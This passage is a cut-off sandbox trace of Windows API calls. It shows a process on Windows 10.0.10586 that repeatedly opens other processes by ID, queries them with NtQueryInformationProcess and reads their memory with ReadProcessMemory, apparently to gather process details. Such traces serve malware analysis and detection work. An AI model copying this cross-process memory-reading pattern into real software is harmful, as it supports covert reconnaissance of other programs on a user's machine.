lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0268.997] malloc (_Size=0x62) returned 0x196ef0d0680 [0268.997] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26426003118, lpBuffer=0x196ef0d0680, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0680*, lpNumberOfBytesRead=0x0) returned 1 [0268.998] free (_Block=0x196ef0d0680) [0268.999] CloseHandle (hObject=0x464) returned 1 [0269.000] _ui64tow_s (in: _Value=0x1b8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="440") returned 0x0 [0269.007] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="440") returned 3 [0269.009] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.009] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0269.027] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b8) returned 0x464 [0269.028] GetLastError () returned 0x0 [0269.028] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0269.028] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb4bbe3c018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0269.028] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0269.028] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e03400, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0269.029] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e03048, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0269.030] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0269.031] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0269.031] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb4bbe3c020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0269.031] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e02a30, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0269.031] malloc (_Size=0x82) returned 0x196ef100ec0 [0269.031] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e03088, lpBuffer=0x196ef100ec0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100ec0*, lpNumberOfBytesRead=0x0) returned 1 [0269.032] free (_Block=0x196ef100ec0) [0269.033] CloseHandle (hObject=0x464) returned 1 [0269.034] _ui64tow_s (in: _Value=0x460, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1120") returned 0x0 [0269.039] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1120") returned 4 [0269.041] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.041] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0269.061] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x460) returned 0x464 [0269.061] GetLastError () returned 0x0 [0269.062] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0269.062] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x448f0b2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0269.062] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0269.062] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed903460, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0269.062] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed9030c8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0269.064] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0269.065] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0269.065] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x448f0b2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0269.065] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed902ab0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0269.066] malloc (_Size=0x66) returned 0x196ef0d0370 [0269.066] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed903108, lpBuffer=0x196ef0d0370, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0269.066] free (_Block=0x196ef0d0370) [0269.067] CloseHandle (hObject=0x464) returned 1 [0269.068] _ui64tow_s (in: _Value=0x4d8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1240") returned 0x0 [0269.073] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1240") returned 4 [0269.075] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.075] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0269.179] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d8) returned 0x464 [0269.179] GetLastError () returned 0x0 [0269.180] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0269.180] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ff018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0269.180] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0269.181] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1b70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0269.181] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1818, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0269.182] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0269.185] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0269.185] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ff020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0269.185] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1200, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0269.186] malloc (_Size=0x42) returned 0x196ef0fb4a0 [0269.186] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1858, lpBuffer=0x196ef0fb4a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb4a0*, lpNumberOfBytesRead=0x0) returned 1 [0269.186] free (_Block=0x196ef0fb4a0) [0269.187] CloseHandle (hObject=0x464) returned 1 [0269.188] _ui64tow_s (in: _Value=0x580, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1408") returned 0x0 [0269.193] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1408") returned 4 [0269.195] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.195] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0269.217] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x580) returned 0x464 [0269.217] GetLastError () returned 0x0 [0269.218] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0269.218] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xada0213018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0269.218] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0269.218] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a1bf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0269.218] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a18c8, lpBuffer=0x670f7c2b0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0269.220] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0269.221] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0269.221] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xada0213020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0269.221] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a12b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0269.221] malloc (_Size=0x18) returned 0x196ef0d2060 [0269.221] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a1906, lpBuffer=0x196ef0d2060, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2060*, lpNumberOfBytesRead=0x0) returned 1 [0269.221] free (_Block=0x196ef0d2060) [0269.222] CloseHandle (hObject=0x464) returned 1 [0269.223] _ui64tow_s (in: _Value=0x634, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1588") returned 0x0 [0269.229] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1588") returned 4 [0269.230] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.230] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0269.245] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x634) returned 0x464 [0269.245] GetLastError () returned 0x0 [0269.246] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0269.246] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x10d4688018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0269.246] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0269.246] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b9034a0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0269.247] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b9030e8, lpBuffer=0x670f7c2b0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0269.248] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0269.249] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0269.249] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x10d4688020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0269.249] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b902ad0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0269.249] malloc (_Size=0x64) returned 0x196ef0d03e0 [0269.249] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b903134, lpBuffer=0x196ef0d03e0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0269.250] free (_Block=0x196ef0d03e0) [0269.251] CloseHandle (hObject=0x464) returned 1 [0269.251] _ui64tow_s (in: _Value=0x698, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1688") returned 0x0 [0269.255] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1688") returned 4 [0269.256] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.256] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0269.273] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x698) returned 0x464 [0269.273] GetLastError () returned 0x0 [0269.274] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0269.274] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39e61be018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0269.274] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0269.274] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e033e0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0269.275] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e03048, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0269.276] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0269.280] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0269.281] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39e61be020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0269.281] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e02a30, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0269.281] malloc (_Size=0x5a) returned 0x196ef0d0370 [0269.281] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e03088, lpBuffer=0x196ef0d0370, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0269.282] free (_Block=0x196ef0d0370) [0269.286] CloseHandle (hObject=0x464) returned 1 [0269.286] _ui64tow_s (in: _Value=0x7e8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2024") returned 0x0 [0269.295] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2024") returned 4 [0269.297] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.297] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0269.323] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e8) returned 0x464 [0269.323] GetLastError () returned 0x0 [0269.324] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0269.324] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39a018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0269.324] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0269.325] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a1c50, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0269.325] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a18e8, lpBuffer=0x670f7c2b0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0269.326] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0269.327] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0269.327] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39a020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0269.327] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a12d0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0269.327] malloc (_Size=0x32) returned 0x196ef0d0a90 [0269.328] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a1918, lpBuffer=0x196ef0d0a90, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0a90*, lpNumberOfBytesRead=0x0) returned 1 [0269.328] free (_Block=0x196ef0d0a90) [0269.329] CloseHandle (hObject=0x464) returned 1 [0269.330] _ui64tow_s (in: _Value=0x2e0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="736") returned 0x0 [0269.335] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="736") returned 3 [0269.336] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.336] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0269.355] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2e0) returned 0x464 [0269.355] GetLastError () returned 0x0 [0269.355] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0269.355] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xa6def54018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0269.356] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0269.356] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c31c70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0269.356] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c318c8, lpBuffer=0x670f7c2b0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0269.357] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0269.359] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, 